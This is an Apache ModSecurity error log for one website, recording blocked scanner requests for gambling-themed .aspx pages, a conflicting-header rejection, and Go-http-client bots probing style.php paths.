[Tue Mar 10 04:49:18.798991 2026] [:error] [pid 7912:tid 8077] [client 217.182.194.3:34568] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aa8yTiV7wJYuQ3GZEAVmIwAAAI0"]
[Tue Mar 10 04:49:21.278371 2026] [:error] [pid 7908:tid 8058] [client 217.182.194.3:34570] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aa8yUcY8gEjgYKb1A_jEFgAAAFc"]
[Tue Mar 10 04:49:23.841491 2026] [:error] [pid 7908:tid 8054] [client 217.182.194.3:34580] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aa8yU8Y8gEjgYKb1A_jEGwAAAFM"]
[Tue Mar 10 04:49:45.028833 2026] [:error] [pid 7912:tid 8066] [client 217.182.194.3:34594] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aa8yaSV7wJYuQ3GZEAVmgQAAAII"]
[Tue Mar 10 04:49:47.385636 2026] [:error] [pid 7912:tid 8070] [client 217.182.194.3:57664] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "aa8yayV7wJYuQ3GZEAVmhQAAAIY"]
[Tue Mar 10 04:49:49.839623 2026] [:error] [pid 7912:tid 8087] [client 217.182.194.3:46682] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aa8ybSV7wJYuQ3GZEAVmiAAAAJc"]
[Tue Mar 10 04:49:52.275650 2026] [:error] [pid 8193:tid 8242] [client 217.182.194.3:46688] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aa8ycB27LTs3sNpMSvwEKwAAANY"]
[Tue Mar 10 04:49:54.870489 2026] [:error] [pid 8193:tid 8239] [client 217.182.194.3:46690] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aa8ych27LTs3sNpMSvwEMAAAANM"]
[Tue Mar 10 04:49:57.338708 2026] [:error] [pid 7912:tid 8073] [client 217.182.194.3:46706] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "aa8ydSV7wJYuQ3GZEAVmlQAAAIk"]
[Tue Mar 10 04:49:59.770444 2026] [:error] [pid 8193:tid 8237] [client 217.182.194.3:50000] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aa8ydx27LTs3sNpMSvwEOwAAANE"]
[Tue Mar 10 04:50:02.148866 2026] [:error] [pid 8193:tid 8244] [client 217.182.194.3:50012] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aa8yeh27LTs3sNpMSvwEQQAAANg"]
[Tue Mar 10 04:50:04.473140 2026] [:error] [pid 7904:tid 8012] [client 217.182.194.3:50016] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "aa8yfNqdH-GCmASfJqHcOgAAABQ"]
[Tue Mar 10 04:50:07.076794 2026] [:error] [pid 7908:tid 8054] [client 217.182.194.3:50018] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aa8yf8Y8gEjgYKb1A_jEZgAAAFM"]
[Tue Mar 10 04:50:09.586594 2026] [:error] [pid 8193:tid 8232] [client 217.182.194.3:43926] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aa8ygR27LTs3sNpMSvwERwAAAMw"]
[Tue Mar 10 04:50:12.006695 2026] [:error] [pid 8193:tid 8220] [client 217.182.194.3:43938] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aa8yhB27LTs3sNpMSvwEUwAAAMA"]
[Tue Mar 10 04:50:14.537771 2026] [:error] [pid 7912:tid 8069] [client 217.182.194.3:43940] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aa8yhiV7wJYuQ3GZEAVm2QAAAIU"]
[Tue Mar 10 04:50:17.064990 2026] [:error] [pid 8193:tid 8222] [client 217.182.194.3:43948] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aa8yiR27LTs3sNpMSvwEZgAAAMI"]
[Tue Mar 10 04:50:19.457250 2026] [:error] [pid 7912:tid 8087] [client 217.182.194.3:45670] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aa8yiyV7wJYuQ3GZEAVm4QAAAJc"]
[Tue Mar 10 04:50:21.976495 2026] [:error] [pid 8193:tid 8225] [client 217.182.194.3:45676] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aa8yjR27LTs3sNpMSvwEcQAAAMU"]
[Tue Mar 10 04:50:24.396307 2026] [:error] [pid 7908:tid 8051] [client 217.182.194.3:45688] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aa8ykMY8gEjgYKb1A_jEiwAAAFA"]
[Tue Mar 10 04:50:26.934851 2026] [:error] [pid 8193:tid 8233] [client 217.182.194.3:45700] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aa8ykh27LTs3sNpMSvwEdgAAAM0"]
[Tue Mar 10 04:50:29.468851 2026] [:error] [pid 8193:tid 8242] [client 217.182.194.3:36286] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aa8ylR27LTs3sNpMSvwEgAAAANY"]
[Tue Mar 10 04:50:31.980195 2026] [:error] [pid 8193:tid 8221] [client 217.182.194.3:36302] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aa8ylx27LTs3sNpMSvwEiQAAAME"]
[Tue Mar 10 04:50:34.409985 2026] [:error] [pid 7912:tid 8073] [client 217.182.194.3:36314] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aa8ymiV7wJYuQ3GZEAVm_gAAAIk"]
[Tue Mar 10 04:50:36.924421 2026] [:error] [pid 8193:tid 8237] [client 217.182.194.3:36322] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aa8ynB27LTs3sNpMSvwEoAAAANE"]
[Tue Mar 10 04:50:39.348447 2026] [:error] [pid 8193:tid 8231] [client 217.182.194.3:50316] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aa8ynx27LTs3sNpMSvwEpAAAAMs"]
[Tue Mar 10 04:50:41.823421 2026] [:error] [pid 8193:tid 8241] [client 217.182.194.3:50322] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aa8yoR27LTs3sNpMSvwErQAAANU"]
[Tue Mar 10 04:51:03.181333 2026] [:error] [pid 7912:tid 8079] [client 217.182.194.3:50326] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aa8ytyV7wJYuQ3GZEAVnOwAAAI8"]
[Tue Mar 10 04:51:05.642205 2026] [:error] [pid 8193:tid 8228] [client 217.182.194.3:38064] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aa8yuR27LTs3sNpMSvwE5AAAAMg"]
[Tue Mar 10 04:51:08.151818 2026] [:error] [pid 8193:tid 8227] [client 217.182.194.3:38074] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aa8yvB27LTs3sNpMSvwE7gAAAMc"]
[Tue Mar 10 04:51:10.515866 2026] [:error] [pid 7904:tid 7996] [client 217.182.194.3:57858] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aa8yvtqdH-GCmASfJqHcdAAAAAQ"]
[Tue Mar 10 04:51:12.905861 2026] [:error] [pid 8193:tid 8239] [client 217.182.194.3:57860] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aa8ywB27LTs3sNpMSvwE_QAAANM"]
[Tue Mar 10 04:51:15.277660 2026] [:error] [pid 8193:tid 8221] [client 217.182.194.3:57874] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aa8ywx27LTs3sNpMSvwFBAAAAME"]
[Tue Mar 10 04:51:17.758295 2026] [:error] [pid 7912:tid 8070] [client 217.182.194.3:57888] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "aa8yxSV7wJYuQ3GZEAVnSAAAAIY"]
[Tue Mar 10 04:51:20.280552 2026] [:error] [pid 7912:tid 8068] [client 217.182.194.3:57412] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aa8yyCV7wJYuQ3GZEAVnTAAAAIQ"]
[Tue Mar 10 04:51:22.640194 2026] [:error] [pid 7908:tid 8050] [client 217.182.194.3:57420] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aa8yysY8gEjgYKb1A_jExwAAAE8"]
[Tue Mar 10 04:51:25.157868 2026] [:error] [pid 7912:tid 8077] [client 217.182.194.3:57434] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aa8yzSV7wJYuQ3GZEAVnUgAAAI0"]
[Tue Mar 10 04:51:27.645455 2026] [:error] [pid 8193:tid 8222] [client 217.182.194.3:57448] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aa8yzx27LTs3sNpMSvwFKAAAAMI"]
[Tue Mar 10 04:51:30.133750 2026] [:error] [pid 7912:tid 8085] [client 217.182.194.3:50704] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aa8y0iV7wJYuQ3GZEAVnVwAAAJU"]
[Tue Mar 10 04:51:32.677166 2026] [:error] [pid 7908:tid 8051] [client 217.182.194.3:50712] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aa8y1MY8gEjgYKb1A_jE0AAAAFA"]
[Tue Mar 10 04:51:35.066298 2026] [:error] [pid 7912:tid 8065] [client 217.182.194.3:50722] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aa8y1yV7wJYuQ3GZEAVnagAAAIE"]
[Tue Mar 10 04:51:37.574292 2026] [:error] [pid 8193:tid 8241] [client 217.182.194.3:50738] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aa8y2R27LTs3sNpMSvwFTgAAANU"]
[Tue Mar 10 04:51:40.054599 2026] [:error] [pid 32149:tid 32163] [client 217.182.194.3:34792] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aa8y3Gdqak0GlFD4uMIPbwAAAQM"]
[Tue Mar 10 04:51:42.566585 2026] [:error] [pid 7912:tid 8086] [client 217.182.194.3:34806] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aa8y3iV7wJYuQ3GZEAVnegAAAJY"]
[Tue Mar 10 04:51:45.109780 2026] [:error] [pid 8193:tid 8229] [client 217.182.194.3:34810] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aa8y4R27LTs3sNpMSvwFYQAAAMk"]
[Tue Mar 10 04:51:47.621607 2026] [:error] [pid 8193:tid 8222] [client 217.182.194.3:34822] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aa8y4x27LTs3sNpMSvwFZwAAAMI"]
[Tue Mar 10 04:51:50.056147 2026] [:error] [pid 8193:tid 8240] [client 217.182.194.3:53850] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "aa8y5h27LTs3sNpMSvwFbwAAANQ"]
[Tue Mar 10 04:51:52.661848 2026] [:error] [pid 8193:tid 8242] [client 217.182.194.3:53854] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aa8y6B27LTs3sNpMSvwFeQAAANY"]
[Tue Mar 10 04:51:55.042517 2026] [:error] [pid 32149:tid 32164] [client 217.182.194.3:53866] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aa8y62dqak0GlFD4uMIPggAAAQQ"]
[Tue Mar 10 04:51:57.440265 2026] [:error] [pid 8193:tid 8237] [client 217.182.194.3:53868] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aa8y7R27LTs3sNpMSvwFggAAANE"]
[Tue Mar 10 04:51:59.978959 2026] [:error] [pid 32149:tid 32172] [client 217.182.194.3:48870] [client 217.182.194.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aa8y72dqak0GlFD4uMIPjAAAAQw"]
[Tue Mar 10 05:08:17.384678 2026] [:error] [pid 8193:tid 8220] [client 43.153.79.218:45320] [client 43.153.79.218] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aa82wR27LTs3sNpMSvwKrQAAAMA"]
[Tue Mar 10 05:17:09.397132 2026] [:error] [pid 7912:tid 8065] [client 104.28.214.113:50305] [client 104.28.214.113] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/style.php"] [unique_id "aa841SV7wJYuQ3GZEAVsdQAAAIE"]
[Tue Mar 10 05:17:29.341092 2026] [:error] [pid 32149:tid 32161] [client 104.28.159.135:26871] [client 104.28.159.135] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/style.php"] [unique_id "aa846Wdqak0GlFD4uMIdRgAAAQE"]
